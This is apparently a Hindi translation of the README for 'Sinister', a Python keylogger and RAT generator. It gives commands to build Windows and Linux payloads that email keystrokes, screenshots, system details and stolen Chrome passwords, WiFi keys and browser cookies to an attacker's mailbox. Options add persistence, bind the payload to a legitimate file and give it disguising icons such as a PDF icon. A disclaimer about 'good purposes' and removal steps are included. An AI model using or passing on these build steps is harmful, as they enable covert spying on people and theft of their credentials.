
Sinister एक Windows/Linux कीलॉगर जनरेटर है जो ईमेल के माध्यम से अन्य रोचक लक्ष्य जानकारी के साथ की-लॉग भेजता है
यह छोटा पायथन स्क्रिप्ट वास्तव में बहुत अच्छा काम कर सकता है।
Sinister Windows/Linux के लिए कीलॉगर जनरेटर है, जो ईमेल के माध्यम से की-लॉग और स्क्रीनशॉट भेजता है, साथ ही Python 3 में लिखी गई अन्य रोचक लक्ष्य जानकारी भी।
:computer: यह परियोजना केवल अच्छे उद्देश्यों और व्यक्तिगत उपयोग के लिए बनाई गई थी।
यह सॉफ्टवेयर बिना किसी वारंटी के "जैसा है" प्रदान किया जाता है। आप इस सॉफ्टवेयर का उपयोग अपने जोखिम पर कर सकते हैं। उपयोग की पूरी जिम्मेदारी अंतिम-उपयोगकर्ता की है। डेवलपर्स कोई देयता नहीं मानते हैं और इस कार्यक्रम के कारण होने वाले किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।
| सर्वर नाम | SMTP सर्वर | SMTP पोर्ट |
|---|---|---|
| GMAIL | smtp.gmail.com | 587 |
| OUTLOOK | smtp-mail.outlook.com | 587 |
| YAHOO | smtp.mail.yahoo.com | 587 |
| बिल्ट-इन स्टीलर ये चीज़ें चुरा सकता है: |
|---|
| Chrome ब्राउज़र (सहेजा गया पासवर्ड) |
| WiFi (सहेजा गया पासवर्ड) |
| Chrome कुकीज़ (लॉगिन डेटा, कुकीज़, इतिहास) |
| Firefox कुकीज़ (cookies.sqlite) |
| ये चीज़ें प्राप्त और भेजी जाती हैं: |
|---|
| ऑपरेटिंग सिस्टम |
| कंप्यूटर नाम |
| उपयोगकर्ता नाम |
| सार्वजनिक IPv4 |
30 मई 2022 को, Google ने कम सुरक्षित ऐप्स सुविधा हटा दी, इसलिए Gmail पासवर्ड के बजाय:
app specific password का उपयोग करें।# /opt निर्देशिका पर जाएं (वैकल्पिक)
$ cd /opt/
# इस रिपॉजिटरी को क्लोन करें
$ git clone https://github.com/PushpenderIndia/Sinister.git
# Sinister फोल्डर में जाएं
$ cd Sinister
# निर्भरताएं स्थापित करना
$ bash installer_linux.sh
*** नोट जब installer_linux.sh निष्पादित करते समय Python Installer संवाद बॉक्स दिखाई दे ***
* कस्टम इंस्टॉल पर क्लिक करें
* पथ चुनें: C:/Python37-32
### ताकि पायथन इस पथ पर स्थापित हो (Wine के अंदर): ~/.wine/drive_c/Python37-32
# यदि installer_linux.sh निष्पादित करते समय कोई त्रुटि आ रही है, तो installer_linux.py का उपयोग करके इंस्टॉल करने का प्रयास करें
$ python3 installer_linux.py
$ chmod +x Sinister.py
$ python3 Sinister.py --help
# पेलोड/RAT बनाना
$ python3 Sinister.py -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path
# GMAIL SMTP सर्वर, पोर्ट कॉन्फ़िगरेशन का उपयोग करके पेलोड बनाना (डिफ़ॉल्ट SMTP सर्वर = smtp.gmail.com, डिफ़ॉल्ट SMTP पोर्ट = 587)
$ python3 Sinister.py -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path
# OUTLOOK SMTP सर्वर, पोर्ट कॉन्फ़िगरेशन का उपयोग करके पेलोड बनाना
$ python3 Sinister.py -e [email protected] -p YourEmailPass -x smtp-mail.outlook.com -y 587 -l -o output_file_name --icon icon_path
# YAHOO SMTP सर्वर, पोर्ट कॉन्फ़िगरेशन का उपयोग करके पेलोड बनाना
$ python3 Sinister.py -e [email protected] -p YourEmailPass -x smtp.mail.yahoo.com -y 587 -l -o output_file_name --icon icon_path
नोट: आप icon फोल्डर से हमारे कस्टम आइकन का भी उपयोग कर सकते हैं, बस उन्हें इस तरह उपयोग करें: --icon icon/pdf.ico
# निर्भरताएं स्थापित करें
$ नवीनतम python 3.x स्थापित करें
# इस रिपॉजिटरी को क्लोन करें
$ git clone https://github.com/PushpenderIndia/Sinister.git
# रिपॉजिटरी में जाएं
$ cd Sinister
# निर्भरताएं स्थापित करना
$ python -m pip install -r requirements.txt
# Sinister.py को टेक्स्ट एडिटर में खोलें और लाइन 16 को कॉन्फ़िगर करें: WINDOWS_PYTHON_PYINSTALLER_PATH = "C:/Python37-32/Scripts/pyinstaller.exe"
# सहायता मेनू प्राप्त करना
$ python Sinister.py --help
# पेलोड/RAT बनाना
$ python Sinister.py -e [email protected] -p YourEmailPass -w -o output_file_name --icon icon_path
# GMAIL SMTP सर्वर, पोर्ट कॉन्फ़िगरेशन का उपयोग करके पेलोड बनाना (डिफ़ॉल्ट SMTP सर्वर = smtp.gmail.com, डिफ़ॉल्ट SMTP पोर्ट = 587)
$ python Sinister.py -e [email protected] -p YourEmailPass -w -o output_file_name --icon icon_path
# OUTLOOK SMTP सर्वर, पोर्ट कॉन्फ़िगरेशन का उपयोग करके पेलोड बनाना
$ python Sinister.py -e [email protected] -p YourEmailPass -x smtp-mail.outlook.com -y 587 -w -o output_file_name --icon icon_path
# YAHOO SMTP सर्वर, पोर्ट कॉन्फ़िगरेशन का उपयोग करके पेलोड बनाना
$ python Sinister.py -e [email protected] -p YourEmailPass -x smtp.mail.yahoo.com -y 587 -w -o output_file_name --icon icon_path
नोट: आप icon फोल्डर से हमारे कस्टम आइकन का भी उपयोग कर सकते हैं, बस उन्हें इस तरह उपयोग करें: --icon icon/pdf.ico
















ऑफलाइन कीलॉग कैप्चरिंग का परीक्षण करने और इन आदेशों को चलाकर कीलॉगर समस्याओं को डीबग करने के लिए Offline Keylogger चलाने का प्रयास करें:
test_key.py को दोनों मोड [Compiled & Raw] में चलाएं और त्रुटि का पता लगाएं
इसे इस तरह चलाएं: python test_key.py
इसे इस तरह भी संकलित करें:
pyinstaller --onefile test_key.py --hidden-import=win32event --hidden-import=winerror --hidden-import=win32api --hidden-import=pynput.keyboard
इसे चलाने के बाद, कुछ टाइप करना शुरू करें, हर 10 सेकंड के बाद कमांड प्रॉम्प्ट पर परिणाम प्रदर्शित होगा
Offline keylogger की फ़ाइलें TestKeylogger फोल्डर में मौजूद हैं
1. --debug फ्लैग के साथ एक नया पेलोड बनाएं
2. पेलोड exe को cmd के माध्यम से चलाएं [पेलोड को डबल-क्लिक करके निष्पादित न करें]
3. अब यह CMD में अधिक उपयुक्त त्रुटि देगा, बस उस समस्या को इश्यू सेक्शन में डालें
किसी भी टेक्स्ट एडिटर से Autostart फ़ाइल खोलें, ऑटोस्टार्ट फ़ाइल पथ: ~/.config/autostart/xinput.desktop
इन 5 पंक्तियों को हटाएं:
[Desktop Entry]
Type=Application
X-GNOME-Autostart-enabled=true
Name=Xinput
Exec="destination_file_name"
नोट: destination_file_name वह खतरनाक फ़ाइल का नाम है जो आपने अपने कीलॉगर को -o पैरामीटर का उपयोग करके दिया था
अपने सिस्टम को रीबूट करें और फिर नीचे दिए गए इस पथ पर संग्रहीत खतरनाक फ़ाइल को हटा दें
गंतव्य पथ, जहां कीलॉगर संग्रहीत है: ~/.config/xnput
किसी भी प्रकार के योगदान का स्वागत है!
नोट: यदि आप योगदानकर्ताओं की सूची में होने चाहिए लेकिन हम आपको भूल गए, तो कृपया हमें बताएं!
| शॉर्ट हैंड | फुल हैंड | विवरण |
|---|
| -h | --help | यह सहायता संदेश दिखाएं और बाहर निकलें |
| -i INTERVAL | --interval INTERVAL | रिपोर्ट के बीच का समय सेकंड में। डिफ़ॉल्ट=120 |
| -t TIME_PERSISTENT | --persistence TIME_PERSISTENT | __ सेकंड के बाद स्थायी हो जाएं। डिफ़ॉल्ट=10 |
| -x SMTP_Server | --smtp | कस्टम SMTP सर्वर। डिफ़ॉल्ट="smtp.gmail.com" |
| -y SMTP_Port | --port | कस्टम SMTP पोर्ट। डिफ़ॉल्ट=587 |
| -w | --windows | एक Windows निष्पादन योग्य उत्पन्न करें। |
| -l | --linux | एक Linux निष्पादन योग्य उत्पन्न करें। |
| -s | --steal-password | पीड़ित मशीन से सहेजे गए पासवर्ड चुराएं [समर्थित OS : Windows] |
| -b file.txt | --bind LEGITIMATE_FILE_PATH.pdf | ऑटोबाइंडर : वैध फ़ाइल का पथ निर्दिष्ट करें। [समर्थित OS : Windows] |
| -d | --debug | पेलोड CMD विंडो के साथ अग्रभूमि में चलेगा, उपयुक्त निष्पादन त्रुटि प्राप्त करने के लिए |
| शॉर्ट हैंड | फुल हैंड | विवरण |
|---|
| --icon ICON | आइकन पथ निर्दिष्ट करें, खतरनाक फ़ाइल का आइकन [नोट : .ico होना चाहिए] | |
| -e EMAIL | --email EMAIL | रिपोर्ट भेजने के लिए ईमेल पता। |
| -p PASSWORD | --password PASSWORD | -e तर्क में दिए गए ईमेल पते के लिए पासवर्ड। |
| -o OUT | --out OUT | आउटपुट फ़ाइल का नाम। |
![]() Pushpender Singh :computer: |
![]() Thomas Kunwar :computer: |
![]() krasnova19 :computer: |
![]() sarchish5 :computer: |
![]() chiragcode11 :computer: |
![]() C4RR0T02 :computer: |